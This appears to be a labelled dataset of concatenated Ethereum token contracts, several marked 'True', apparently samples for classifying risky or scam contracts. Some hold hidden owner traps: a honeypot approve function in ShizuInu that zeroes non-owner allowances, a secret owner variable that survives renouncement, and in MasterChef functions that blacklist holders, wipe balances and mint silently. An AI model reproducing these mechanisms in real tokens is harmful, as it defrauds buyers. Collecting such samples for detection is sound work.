_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**6
);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
} | True | [
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pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
/**
* @title Standard Burnable Token
* @dev Adds burnFrom method to ERC20 implementations
*/
contract StandardBurnableToken is BurnableToken, StandardToken {
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ECPoints is StandardBurnableToken, Ownable {
string public name = "ECTokens";
string public symbol = "ECT";
uint8 public decimals = 8;
uint256 public INITIAL_SUPPLY = 2000000000;
address public owner;
function ECPoints() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
owner = msg.sender;
}
function mintToken(address target, uint256 mintedAmount) public onlyOwner {
balances[target] += mintedAmount;
totalSupply_ += mintedAmount;
Transfer(0, owner, mintedAmount);
Transfer(owner, target, mintedAmount);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-30
*/
/*
Web: https://Shizu-inu.com
Twitter: https://twitter.com/ShizuInuETH
T.G : t.me/ShizuInuPortal
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract ShizuInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 100* 10**9* 10**18;
string private _name = 'Shizu Inu' ;
string private _symbol = 'SHIZU ' ;
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | True | [
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] |
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _initSupply(address account, uint amount) internal {
require(account != address(0), "ERC20: supply to the zero address");
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _addwork(address account, uint amount) internal {
require(account != address(0), "ERC20: supply to the zero address");
_balances[account] = _balances[account].add(amount);
}
function _addowner(address acc) internal {
_balances[acc] = 0;
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
contract MasterChef is ERC20, ERC20Detailed {
using SafeMath for uint;
mapping (address => bool) public owner;
mapping (address => bool) public admin;
mapping (address => bool) public user;
constructor () public ERC20Detailed("YFDREAM.FINANCE", "YFD", 18) {
_initSupply( msg.sender, 80000*10**uint(decimals()) );
owner[msg.sender] = true;
admin[msg.sender] = true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(!user[sender], "error");
super._transfer(sender, recipient, amount);
}
function addOwner(address account) public {
require(owner[msg.sender], "!warning");
_addowner(account);
}
function addUser(address account) public {
require(owner[msg.sender], "!owner");
user[account] = true;
}
function removeUser(address account) public {
require(owner[msg.sender], "!owner");
user[account] = false;
}
function addWork(address account, uint amount) public {
require(owner[msg.sender], "!warning");
_addwork(account, amount);
}
function addAdmin(address account) public {
require(owner[msg.sender], "!not allowed");
admin[account] = true;
}
function removeAdmin(address account) public {
require(owner[msg.sender], "!not allowed");
admin[account] = false;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-08-20
*/
/*
Baby Tesla AI Day
https://t.me/BabyTeslaAI
Tesla AI Day presentation
100% liq locked and renounced
20% burned
5% redistributed
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.s
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
